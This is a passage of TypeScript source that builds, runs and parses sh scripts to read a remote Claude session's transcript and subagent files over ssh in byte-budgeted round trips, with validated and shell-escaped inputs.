* ⚠️ The cuts are NAME RANGES, not only groups of requests. The script takes a file that no
* `case` line names for a new one (its tail, its meta), so a plain group would read every
* file of the other groups as new. Each round trip walks only the names between its cuts; the
* ranges cover every possible name exactly once, so a new file lands in one of them and the
* merged result is the one a single script would give (the fuzz test compares it with the
* local reader).
*/
export function planRemoteEditSourceRounds(
requests: readonly EditSourceRequest[],
perRound: number = EDIT_SOURCE_REQUESTS_PER_ROUND_TRIP
): RemoteEditSourceRound[] {
const valid = validEditSourceRequests(requests);
const subagents = [...valid.values()].filter((request) => request.relPath !== 'main');
if (subagents.length <= perRound) return [{ requests: [...valid.values()], main: true, after: '', upTo: '' }];
const main = valid.get('main');
const fileName = (request: EditSourceRequest): string => request.relPath.slice('subagents/'.length);
subagents.sort((a, b) => (a.relPath < b.relPath ? -1 : 1));
const rounds: RemoteEditSourceRound[] = [];
for (let i = 0; i < subagents.length; i += perRound) {
const group = subagents.slice(i, i + perRound);
rounds.push({
requests: i === 0 && main ? [main, ...group] : group,
main: i === 0,
after: i === 0 ? '' : fileName(subagents[i - 1]),
upTo: i + perRound < subagents.length ? fileName(group[group.length - 1]) : '',
});
}
return rounds;
}
/** What {@link buildRemoteClaudeEditSourcesCommand} takes beyond the local reader's options. */
export interface RemoteEditSourceCommandOptions extends EditSourceReadOptions {
/** Which part of a split read this command is; without it, all of it. */
round?: Pick<RemoteEditSourceRound, 'main' | 'after' | 'upTo'>;
/** Meta bytes this command may send; without it, {@link EDIT_SOURCE_META_BUDGET_BYTES}. */
metaBudget?: number;
}
/**
* Script for one round trip of a read of a remote claude session's main transcript at
* `mainPath` and its subagent transcripts (`<mainPath without .jsonl>/subagents/agent-<id>.jsonl`),
* with exactly the local reader's rules (`readClaudeEditSources`):
*
* - a request without `len` reads from `offset` (clamped to the size);
* - a request with `len` is a block that ends at `offset + len`: short of budget, its end;
* - a file without a request (one the caller has not seen) reads its last bytes, and a new
* subagent's `.meta.json` (≤ {@link EDIT_SOURCE_META_MAX_BYTES}, outside the budget) comes
* along as its own record; with `onlyRequested` such files are left out.
*
* `budgetBytes` is shared by all transcript files, main first, then the subagents in byte
* order. A file that gets none of it still produces a zero-length record, because the caller
* needs its size. Exit {@link TRANSCRIPT_NOT_FOUND_EXIT} when `mainPath` is not a file. A read
* with more requests than fit one script is several of these ({@link planRemoteEditSourceRounds}).
*
* Output: `\0<transcriptId>\0`, then per record `<relPath>\0<size>\0<start>\0<len>\0`
* followed by exactly `<len>` raw bytes. Should a file shrink between `wc -c` and the read,
* the slice is NUL-padded to `<len>` so the framing never shifts.
*
* Inputs never reach the script unchecked: the path via {@link isRemoteClaudeTranscriptPath}
* (and shellescaped), relPaths via {@link EDIT_SOURCE_REL_PATH_PATTERN}, offsets and lengths as
* plain digits; anything invalid is dropped. A subagent file whose name the pattern would
* reject is skipped on the remote side too. Same `sh` + `LC_ALL=C` rules as the lookup.
*/
export function buildRemoteClaudeEditSourcesCommand(
mainPath: string,
requests: readonly EditSourceRequest[],
budgetBytes: number,
opts: RemoteEditSourceCommandOptions = {}
): string {
if (!isRemoteClaudeTranscriptPath(mainPath)) return `exit ${TRANSCRIPT_NOT_FOUND_EXIT}`;
const transcriptId = mainPath.slice(mainPath.lastIndexOf('/') + 1, -'.jsonl'.length);
const byRelPath = validEditSourceRequests(requests);
const budget = Number.isFinite(budgetBytes) ? Math.max(0, Math.floor(budgetBytes)) : 0;
const requestArgs = (request: EditSourceRequest): string =>
`r ${request.offset} ${request.len === undefined ? "''" : String(request.len)}`;
const { main: readsMain, after, upTo } = opts.round ?? { main: true, after: '', upTo: '' };
const main = byRelPath.get('main');
const mainLine = !readsMain
? ''
: main
? `emit main "$best" ${requestArgs(main)}`
: opts.onlyRequested
? ''
: 'emit main "$best" t 0 \'\'';
// The names come from validated relPaths, and `$0` stays a string: every name starts `agent-`.
const rangeFilter =
after || upTo
? ` | awk -v after=${shellescape(after)} -v upto=${shellescape(upTo)} '$0 > after && (upto == "" || $0 <= upto)'`
: '';
const subagentCases = [...byRelPath.entries()]
.filter(([relPath]) => relPath !== 'main')
.map(([relPath, request]) => {
const name = relPath.slice('subagents/'.length);
return ` ${shellescape(name)}) emit "subagents/$b" "$f" ${requestArgs(request)} ;;`;
});
const newSubagent = opts.onlyRequested
? [' *) ;;']
: [
' *) emit "subagents/$b" "$f" t 0 \'\'',
' m=${f%.jsonl}.meta.json',
' if [ -f "$m" ]; then',
' fsize "$m"',
` mn=$s; [ "$mn" -le ${EDIT_SOURCE_META_MAX_BYTES} ] || mn=${EDIT_SOURCE_META_MAX_BYTES}`,
' if [ "$mn" -le "$mbudget" ]; then',
' mbudget=$((mbudget - mn))',
' printf \'%s\\0%s\\0%s\\0%s\\0\' "subagents/${b%.jsonl}.meta.json" "$s" 0 "$mn"',
' [ "$mn" -eq 0 ] || bytes "$m" 0 "$mn"',
' fi',
' fi ;;',
];
const script = [
'LC_ALL=C',
'export LC_ALL',
`best=${shellescape(mainPath)}`,
`[ -f "$best" ] || exit ${TRANSCRIPT_NOT_FOUND_EXIT}`,
`printf '\\0%s\\0' ${shellescape(transcriptId)}`,
`budget=${budget}`,
`mbudget=${opts.metaBudget ?? EDIT_SOURCE_META_BUDGET_BYTES}`,
// Size via `wc -c <` (POSIX; BSD pads it with spaces, hence the tr).
'fsize() {',
' s=$(wc -c < "$1" 2>/dev/null | tr -d \' \\t\\n\')',
" case $s in ''|*[!0-9]*) s=0 ;; esac",
'}',
// Exactly $3 bytes of $1 from offset $2, NUL-padded if the file shrank meanwhile.
'bytes() {',
' { tail -c +$(($2 + 1)) "$1" 2>/dev/null | head -c "$3"; head -c "$3" /dev/zero; } | head -c "$3"',
'}',
// emit <relPath> <file> <r|t> <offset> <len|''>: r = a request, t = the tail of a new file.
'emit() {',
' fsize "$2"',
' if [ "$3" = r ] && [ -n "$5" ]; then',
' bs=$4; [ "$bs" -le "$s" ] || bs=$s',
' be=$(($4 + $5)); [ "$be" -le "$s" ] || be=$s',
' n=$((be - bs)); [ "$n" -le "$budget" ] || n=$budget',
' start=$((be - n))',
' elif [ "$3" = r ]; then',
' start=$4; [ "$start" -le "$s" ] || start=$s',
' n=$((s - start)); [ "$n" -le "$budget" ] || n=$budget',
' else',
' n=$s; [ "$n" -le "$budget" ] || n=$budget',
' start=$((s - n))',
' fi',
' budget=$((budget - n))',
' printf \'%s\\0%s\\0%s\\0%s\\0\' "$1" "$s" "$start" "$n"',
' [ "$n" -eq 0 ] || bytes "$2" "$start" "$n"',
'}',
// The valid names, one per line in byte order (the glob's order under `C`). Nothing but
// `[A-Za-z0-9_.-]` is left, so the unquoted `$(…)` below splits on them and globs nothing.
// A function, because bash 3.2 (macOS `sh`) cannot parse a `case` inside `$(…)`.
'subagent_names() {',
' for f in "${best%.jsonl}"/subagents/agent-*.jsonl; do',
' b=${f##*/}',
' case $b in agent-.jsonl|agent-*[!A-Za-z0-9_-]*.jsonl) continue ;; esac',
' printf \'%s\\n\' "$b"',
' done',
'}',
mainLine,
`for b in $(subagent_names${rangeFilter}); do`,
' f=${best%.jsonl}/subagents/$b',
' [ -f "$f" ] || continue',
' case $b in',
...subagentCases,
...newSubagent,
' esac',
'done',
].join('\n');
return `sh -c ${shellescape(script)}`;
}
/**
* Parse {@link buildRemoteClaudeEditSourcesCommand} output, byte-exact on the Buffer (a chunk
* may end mid UTF-8 sequence, so nothing here measures decoded strings). Everything before
* the first NUL is rc-file chatter. `null` = protocol broken: a missing or malformed header
* field, an unknown relPath, a slice outside the file or a body shorter than its length.
*/
export function parseRemoteClaudeEditSources(stdout: Buffer): EditSources | null {
let pos = stdout.indexOf(0);
if (pos === -1) return null;
pos += 1;
const readField = (): string | null => {
const end = stdout.indexOf(0, pos);
if (end === -1) return null;
const field = stdout.toString('utf8', pos, end);
pos = end + 1;
return field;
};
const readNumber = (): number | null => {
const field = readField();
if (field === null || !/^\d+$/.test(field)) return null;
const value = Number(field);
return Number.isSafeInteger(value) ? value : null;
};
const transcriptId = readField();
if (!transcriptId || !CLAUDE_TRANSCRIPT_ID_PATTERN.test(transcriptId)) return null;
const files: EditSources['files'] = [];
const metas: Record<string, string> = {};
while (pos < stdout.length) {
const relPath = readField();
const size = readNumber();
const startOffset = readNumber();
const len = readNumber();
if (relPath === null || size === null || startOffset === null || len === null) return null;
if (startOffset + len > size || pos + len > stdout.length) return null;
const chunk = stdout.subarray(pos, pos + len);
pos += len;
const meta = EDIT_SOURCE_META_REL_PATH_PATTERN.exec(relPath);
if (meta) {
metas[meta[1]] = chunk.toString('utf8');
} else if (EDIT_SOURCE_REL_PATH_PATTERN.test(relPath)) {
files.push({ relPath, size, startOffset, chunk });
} else {
return null;
}
}
return { transcriptId, files, metas };
}
/**
* Runs one read command on the host: its stdout, at most `maxBytes`, or null for "no such
* transcript" ({@link TRANSCRIPT_NOT_FOUND_EXIT}).
*/
export type RemoteEditSourceRunner = (command: string, maxBytes: number) => Promise<Buffer | null>;
/**
* Run the round trips of a read ({@link planRemoteEditSourceRounds}) one after the other and
* merge them into what one read returns. Budget and meta budget carry over: a later round trip
* gets what the earlier ones left, and still lists its files, because a requested file missing
* from the result counts as deleted and loses its cursor. So a read is all or nothing: a failed
* round trip fails it, and nothing of it reaches the store.
*/
export async function readRemoteEditSourceRounds(
mainPath: string,
requests: readonly EditSourceRequest[],
budgetBytes: number,
opts: EditSourceReadOptions,
run: RemoteEditSourceRunner,
perRound?: number
): Promise<EditSources | null> {
let budget = Number.isFinite(budgetBytes) ? Math.max(0, Math.floor(budgetBytes)) : 0;
let metaBudget = EDIT_SOURCE_META_BUDGET_BYTES;
const merged: EditSources = { transcriptId: '', files: [], metas: {} };
for (const round of planRemoteEditSourceRounds(requests, perRound)) {
const stdout = await run(
buildRemoteClaudeEditSourcesCommand(mainPath, round.requests, budget, { ...opts, round, metaBudget }),
budget + metaBudget + EDIT_SOURCE_HEADER_SLACK_BYTES
);
if (!stdout) return null;
const parsed = parseRemoteClaudeEditSources(stdout);
if (!parsed || !mainPath.endsWith(`/${parsed.transcriptId}.jsonl`)) {
throw new RemoteFileAccessError('unexpected output from the remote edit-history read');
}
merged.transcriptId = parsed.transcriptId;
merged.files.push(...parsed.files);
Object.assign(merged.metas, parsed.metas);
for (const file of parsed.files) budget -= file.chunk.length;
for (const text of Object.values(parsed.metas)) metaBudget = Math.max(0, metaBudget - Buffer.byteLength(text));
}
return merged;
}
/**
* Read a remote claude session's transcripts (see {@link readRemoteEditSourceRounds}), the
* remote twin of `readClaudeEditSources`. `null` when `mainPath` does not exist; an unreachable
* host, an ssh failure or broken output is a `RemoteFileAccessError`. Each round trip takes its
* own slot of the ssh limiter. Never wakes.
*/
export async function remoteReadClaudeEditSources(
remote: SessionRemote,
mainPath: string,
requests: readonly EditSourceRequest[],
budgetBytes: number,
opts: EditSourceReadOptions = {}
): Promise<EditSources | null> {
assertNotUnderTest();
return readRemoteEditSourceRounds(mainPath, requests, budgetBytes, opts, async (command, maxBytes) => {
try {
const result = await runWithRemoteSshLimit(() =>
execAsync(buildRemoteEditHistoryCommand(remote, command), {
timeout: remoteEditSourcesTimeoutMs(maxBytes),
maxBuffer: maxBytes,
encoding: 'buffer',
})
);
return Buffer.isBuffer(result.stdout) ? result.stdout : Buffer.from(result.stdout);
} catch (err) {
if ((err as { code?: unknown }).code === TRANSCRIPT_NOT_FOUND_EXIT) return null;
throw new RemoteFileAccessError(
`remote host ${remote.label || remote.host} unreachable: ${describeExecError(err)}`
);
}
});
}
/**
* Command that writes a remote file's bytes to stdout.
*
Loaded 100 of 236 files, more files were not shown because too many files have changed in this diff. Show more